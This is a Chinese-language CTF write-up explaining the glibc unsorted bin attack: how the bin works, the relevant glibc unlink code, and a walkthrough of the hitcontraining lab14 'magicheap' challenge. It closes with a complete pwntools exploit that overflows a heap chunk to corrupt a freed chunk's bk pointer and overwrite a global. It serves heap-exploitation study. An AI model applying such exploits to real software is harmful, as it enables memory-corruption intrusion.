Unsorted Bin Attack
2022-03-11 22:37:56

unsorted bin attack:

攻击前提:控制挂进unsorted bin的chunk的bk指针,在控制bk指针的情况下可以实现修改任意地址值为一个较大的值

unsorted bin:

可以看作是空闲chunk回归所属bin之前的缓冲区

unsorted bin是一个双向链表(乱序)

unsorted bin采用FIFO===》插入的chunk到unsorted bin头部,取出的时候从链表尾获取

在程序malloc时,如果fastbin,small bin中找不到相应大小的chunk,从unsorted bin中寻找chunk,

如果取出来的chunk的size刚好满足==》交给用户,否则就会把这些chunk放入unsorted bin中

unsorted bin chunk来源:

1、当一个较大的chunk被分割成两部分,剩下的部分大于MINSIZE==》放入unsorted bin

2、释放一个不属于fastbin 的chunk,并且不与top chunk相邻==》放入unsorted bin

3、进行malloc_consolidate(块合并)时,如果合并后的chunk不与top chunk相邻==》放入unsorted bin

unsorted bin 摘除:

/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
	malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
#bk指向他后一个被释放的chunk的块地址(bck)
#后一个chunk的fd指向的是unsorted chunk的块地址
#控制chunk的bk指针==》可以将unsorted chunk的块地址写在任意可写的地址
bck->fd = unsorted_chunks (av);

例题:

hitcontraining_lab14:

检查保护:

静态分析:

主函数:

add:

edit:

dele:

思路总结与动态调试;

1、当全局变量magic 0x6020C0的数值大于0x1305时触发后面函数

2、在edit()中存在堆溢出

准备工作:

创建一个堆块==》触发栈溢出

创建一个能放进unsorted bin的chunk

创建一个隔绝top chunk的chunk

add(0x20,'aaaa')#0
add(0x80,'bbbb')#1
add(0x20,'cccc')#2

==》释放chunk1,进入unsorted bin==》

dele(1)

==》伪造对全局变量进行控制的fake_chunk==》为bk指针做准备==》

fake_chunk_addr=magic-0x10

==》触发溢出==》修改chunk1的bk指针==》

payload='a'*0x20+p64(0)+p64(0x91)+p64(0)+p64(fake_chunk_addr)

申请fake_chunk==》

add(0x80,'0x1306')

在主函数输入选项4869==》cat flag:

exp:

#coding=UTF-8
from pwn import *
from LibcSearcher import *

io=process('./magicheap')
elf=ELF('./magicheap')
#libc=ELF()

def add(size,content):
	io.recvuntil("Your choice :")
	io.sendline('1')
	io.recvuntil("Size of Heap : ")
	io.sendline(str(size))
	io.recvuntil("Content of heap:")
	io.sendline(content)

def edit(index,size,content):
	io.recvuntil("Your choice :")
	io.sendline('2')
	io.recvuntil("Index :")
	io.sendline(str(index))
	io.recvuntil("Size of Heap : ")
	io.sendline(str(size))
	io.recvuntil("Content of heap : ")
	io.sendline(content)

def dele(index):
	io.recvuntil("Your choice :")
	io.sendline('3')
	io.recvuntil("Index :")
	io.sendline(str(index))

add(0x20,'aaaa')#0
add(0x80,'bbbb')#1
add(0x20,'cccc')#2

dele(1)

fake_chunk_addr=0x6020C0-0x10

payload='a'*0x20+p64(0)+p64(0x91)+p64(0)+p64(fake_chunk_addr)

edit(0,0x40,payload)

add(0x80,'0x1306')

io.recvuntil("Your choice :")
io.sendline('4869')

gdb.attach(io)

io.interactive()